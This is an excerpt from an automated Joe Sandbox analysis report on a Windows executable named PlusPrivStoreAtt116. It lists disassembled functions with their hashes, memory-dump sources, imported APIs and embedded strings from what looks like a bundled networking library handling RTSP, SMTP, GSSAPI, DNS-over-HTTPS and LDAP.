Instruction Fuzzy Hash: 33610672F09B8442DB14CB2AE44427D66A1EB597D8F209235DF5D87B89EF7DE141C340

Function 00007FF6029B1750 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ce16abf6dabfd6c05904dcfc4add426f37854a28f683b97e97ab74344d31e2
Instruction ID: 2d7d36e2a524e4494f4a8bed3429a22236dc376504f797c96727618c1a87f350
Opcode Fuzzy Hash: c7ce16abf6dabfd6c05904dcfc4add426f37854a28f683b97e97ab74344d31e2
Instruction Fuzzy Hash: 97419333B1155487E78CCE2AC8656AD33A2F799304F55C239EA0AC7785DE399905CB40

Function 00007FF6029FF7D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bc956564b332abba12e54d0044448655734ddf9d44365f360b093ba55ae5c6
Instruction ID: b699d937f217817b9e4c98feb7c54d99e488e4add7945baedc8998532c6f3708
Opcode Fuzzy Hash: a9bc956564b332abba12e54d0044448655734ddf9d44365f360b093ba55ae5c6
Instruction Fuzzy Hash: 28F08C25325767BEFE80893B4624FBD5E419BC0740FB36875CC80424CB8A9E5493D714

Function 00007FF6029DCB20 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735474b44fecfb17f075a3ff19b93d187b15b809f496c8131696174fb3aa68e8
Instruction ID: 8f3c890544a4a884d2a1af8c55397a8c9746c24d889cad766bd81a12d4627d17
Opcode Fuzzy Hash: 735474b44fecfb17f075a3ff19b93d187b15b809f496c8131696174fb3aa68e8
Instruction Fuzzy Hash: 84A00162A1AA4A80A7208B15E6A4F256A65FB98B997659031C90D868248E699A42C200

Function 00007FF602A00824 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8085569c1db706f8df0c680955a88674b0be6f25267714de8c820d55b9c9291
Instruction ID: d1e28884b2abb70dd88881b166777c07c5396a8b7a628d2122f07385f6b326cd
Opcode Fuzzy Hash: d8085569c1db706f8df0c680955a88674b0be6f25267714de8c820d55b9c9291
Instruction Fuzzy Hash: E4A0023191DD02D0E7148B00E9D42303BB1FF94308F651031C50DC50649FBCB908C344

Function 00007FF6029C5360 Relevance: 52.7, APIs: 34, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029CE0C0: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FF6029B613F), ref: 00007FF6029CE0D7

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C54ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5501
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5515
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5529
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C553D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5551
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5565
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5579
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C558D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C55A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C55B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C55C9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C55DD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C55F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5605
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5619

Part of subcall function 00007FF6029CF7F0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CF82E

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C562D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5641
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5655
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5669
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C567D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5691
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C56A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C56B9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C56CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C56E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C56F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5709
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C571D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5731

Part of subcall function 00007FF6029C31B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3138), ref: 00007FF6029C31CB
Part of subcall function 00007FF6029C31B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3138), ref: 00007FF6029C31F9

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C575B

Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF971
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF981
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF98F
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF99D
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF9AB
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF9B9
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF9C7
Part of subcall function 00007FF6029BF960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C3166), ref: 00007FF6029BF9D5

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C5787
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C579B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C57AB

Strings

Closing connection %ld, xrefs: 00007FF6029C5459

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$CounterPerformanceQuery
String ID: Closing connection %ld
API String ID: 3490100708-2599090834
Opcode ID: e31ef70838d5df3757b92d2210bda80089e2ab09dfffb442114cf8788270e6bc
Instruction ID: f1f2ee02e7184b71ce0d36279643232ae78f4ad4d0f55c01a85b24dfb413c4b3
Opcode Fuzzy Hash: e31ef70838d5df3757b92d2210bda80089e2ab09dfffb442114cf8788270e6bc
Instruction Fuzzy Hash: E3C1C875608B8282E750DF21E4502AD3764FF85F98F284631DE9E87699CF78E196C320

Function 00007FF6029E77A0 Relevance: 49.9, APIs: 6, Strings: 27, Instructions: 385COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E789D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E799E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E7A11
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E7A8B

Strings

Failed sending RTSP request, xrefs: 00007FF6029E7E01
Range: %s, xrefs: 00007FF6029E7A93
OPTIONS, xrefs: 00007FF6029E77A0
CSeq cannot be set as a custom header., xrefs: 00007FF6029E7AD0
Transport, xrefs: 00007FF6029E784E
Session: %s, xrefs: 00007FF6029E7B6D
Transport: %s, xrefs: 00007FF6029E78AA
Content-Type: application/sdp, xrefs: 00007FF6029E7D6D
%s %s RTSP/1.0CSeq: %ld, xrefs: 00007FF6029E7B37
%s%s%s%s%s%s%s%s, xrefs: 00007FF6029E7BF6
Content-Length, xrefs: 00007FF6029E7CDC
Content-Length: %I64d, xrefs: 00007FF6029E7CF7
Referer, xrefs: 00007FF6029E7A27
Accept: application/sdp, xrefs: 00007FF6029E790A
Accept, xrefs: 00007FF6029E78F8
Session ID cannot be set as a custom header., xrefs: 00007FF6029E7AFD
Session, xrefs: 00007FF6029E7AE9
Range, xrefs: 00007FF6029E7A67
Refusing to issue an RTSP request [%s] without a session ID., xrefs: 00007FF6029E7823
Content-Type, xrefs: 00007FF6029E7D23, 00007FF6029E7D59
Refusing to issue an RTSP SETUP without a Transport: header., xrefs: 00007FF6029E78D5
Accept-Encoding: %s, xrefs: 00007FF6029E7949
Accept-Encoding, xrefs: 00007FF6029E7914
Referer: %s, xrefs: 00007FF6029E7A42
CSeq, xrefs: 00007FF6029E7ABC
User-Agent, xrefs: 00007FF6029E797E, 00007FF6029E79AD
Content-Type: text/parameters, xrefs: 00007FF6029E7D37

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s %s RTSP/1.0CSeq: %ld$%s%s%s%s%s%s%s%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: application/sdp$CSeq$CSeq cannot be set as a custom header.$Content-Length$Content-Length: %I64d$Content-Type$Content-Type: application/sdp$Content-Type: text/parameters$Failed sending RTSP request$OPTIONS$Range$Range: %s$Referer$Referer: %s$Refusing to issue an RTSP SETUP without a Transport: header.$Refusing to issue an RTSP request [%s] without a session ID.$Session$Session ID cannot be set as a custom header.$Session: %s$Transport$Transport: %s$User-Agent
API String ID: 1294909896-2200874227
Opcode ID: a4c82bcc725e61103f523d7bac1625522059787e4daccbbb1ad99cbdf31118d3
Instruction ID: 08a0b198639c519c578dcf9c97957f13c71d4bda25064f246538e735253eabb3
Opcode Fuzzy Hash: a4c82bcc725e61103f523d7bac1625522059787e4daccbbb1ad99cbdf31118d3
Instruction Fuzzy Hash: 36028D31A0978281FF649B62E8403FAAB91BF44B98F640436CE4DC7796EFBCE5458351

Function 00007FF6029E1240 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 297stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E129E
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E12D2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E1351
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E136B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E137A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E13C7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E13D8

Strings

Mime-Version: 1.0, xrefs: 00007FF6029E1534
SMTPUTF8, xrefs: 00007FF6029E162A
MAIL FROM:%s%s%s%s%s%s, xrefs: 00007FF6029E166C
Mime-Version, xrefs: 00007FF6029E1519
%I64d, xrefs: 00007FF6029E158E
<%s>, xrefs: 00007FF6029E1359, 00007FF6029E149D
AUTH=, xrefs: 00007FF6029E1635
SIZE=, xrefs: 00007FF6029E1641
<%s@%s>, xrefs: 00007FF6029E1336, 00007FF6029E147A

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree$strpbrk
String ID: AUTH=$ SIZE=$ SMTPUTF8$%I64d$<%s>$<%s@%s>$MAIL FROM:%s%s%s%s%s%s$Mime-Version$Mime-Version: 1.0
API String ID: 2737852498-2994854565
Opcode ID: 49e5a8093cbab499398c211c2167271c9e8bd267777574003e8ceb441dc91b87
Instruction ID: b74beeaba71f78b9c7d8679bc69fa667d5f6999f8ad3ee14e4cf1a5be6d8642f
Opcode Fuzzy Hash: 49e5a8093cbab499398c211c2167271c9e8bd267777574003e8ceb441dc91b87
Instruction Fuzzy Hash: 6AD18C22F09B5285FF11DB22A8546B92BA4BF45B8CF640531DE4E87796EFBCE945C300

Function 00007FF6029FE720 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 250COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FE806
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FE8AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FE902
htonl.WS2_32 ref: 00007FF6029FE92F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FE941
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FE970
htonl.WS2_32 ref: 00007FF6029FE985
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FE9B2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA39
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA42
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA4B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA82
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA8B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEA94
memcpy.VCRUNTIME140 ref: 00007FF6029FEAAF
memcpy.VCRUNTIME140 ref: 00007FF6029FEAC3
memcpy.VCRUNTIME140 ref: 00007FF6029FEAD9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEB00
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEB09
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEB12
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEB1B

Strings

GSSAPI handshake failure (empty security message), xrefs: 00007FF6029FE887, 00007FF6029FEB28
GSSAPI handshake failure (invalid security layer), xrefs: 00007FF6029FE916
GSSAPI handshake failure (invalid security data), xrefs: 00007FF6029FE897

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$memcpy$htonl
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 82385936-242323837
Opcode ID: 70d35f79a67b94333284927e9e998538639b5e22fc3dda229c8068922391dd39
Instruction ID: 7980dbe8b1710a155b71278301c176f2d68f96f726eb178262605cfddc0bdf57
Opcode Fuzzy Hash: 70d35f79a67b94333284927e9e998538639b5e22fc3dda229c8068922391dd39
Instruction Fuzzy Hash: 18C13F36A08B5286E790DB66E4502AE3BB4FF44B98F204435EE8D97B65DFBCE445C700

Function 00007FF6029F34C0 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 312networkCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF6029F35A9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F35F0
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F3846
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F385D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F3878
htons.WS2_32 ref: 00007FF6029F38D7

Strings

Could not DOH-resolve: %s, xrefs: 00007FF6029F3516
DOH Host name: %s, xrefs: 00007FF6029F3671
TTL: %u seconds, xrefs: 00007FF6029F3685
DOH: %s type %s for %s, xrefs: 00007FF6029F3624
DOH A: %u.%u.%u.%u, xrefs: 00007FF6029F36BE
%s%02x%02x, xrefs: 00007FF6029F373E
bad error code, xrefs: 00007FF6029F3608
CNAME: %s, xrefs: 00007FF6029F37D3
DOH AAAA: , xrefs: 00007FF6029F36F2
AAAA, xrefs: 00007FF6029F3616
%s, xrefs: 00007FF6029F3793

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: calloc$_strdupfreehtonsmemset
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 130798683-4053692942
Opcode ID: 4da9d9f1cbb209fe43fb6dcd8b467026ebfaf9e3e059f8631a373749ab627460
Instruction ID: 2d96519fbc74a3d4f540644f330519a52602a820294bc725162a3b7b238f288c
Opcode Fuzzy Hash: 4da9d9f1cbb209fe43fb6dcd8b467026ebfaf9e3e059f8631a373749ab627460
Instruction Fuzzy Hash: 79E18032A08AC286E7A08F22D4503BA7BA4FF85B98F644135EA4D87749DFBCE544C700

Function 00007FF6029A98F8 Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 423COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA054
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA082
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AA090
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA0CB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA10A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AAAFE

Strings

object, xrefs: 00007FF6029AA319
array, xrefs: 00007FF6029AA18A
number overflow parsing ', xrefs: 00007FF6029A9F90

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: array$number overflow parsing '$object
API String ID: 1346393832-579821726
Opcode ID: 0dadecece245a67f675a5d2e96cc5f0bc4a0f7ec8ea6dd8922b7aa2d9f5add5a
Instruction ID: 112047cb77b34a14e987f6e706b1c2016a87f99bd90dfc7e26d291adafb25f03
Opcode Fuzzy Hash: 0dadecece245a67f675a5d2e96cc5f0bc4a0f7ec8ea6dd8922b7aa2d9f5add5a
Instruction Fuzzy Hash: 7312B662E18B8586FF00CB69E4443AD2B61FF457A8F604235DA6D47ADADFBCD085C340

Function 00007FF6029EE420 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 257stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE4A6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE4CC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE4DD
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE54B
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE57C
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE59C
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE5AE
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE610
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE681
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE698
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE753
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE7C7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF6029EDBDF), ref: 00007FF6029EE7D0

Strings

base, xrefs: 00007FF6029EE6D9
one, xrefs: 00007FF6029EE6B3
sub, xrefs: 00007FF6029EE704
subtree, xrefs: 00007FF6029EE717
onetree, xrefs: 00007FF6029EE6C6
LDAP, xrefs: 00007FF6029EE466

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$free$_strdupcalloc
String ID: LDAP$base$one$onetree$sub$subtree
API String ID: 112326314-884163498
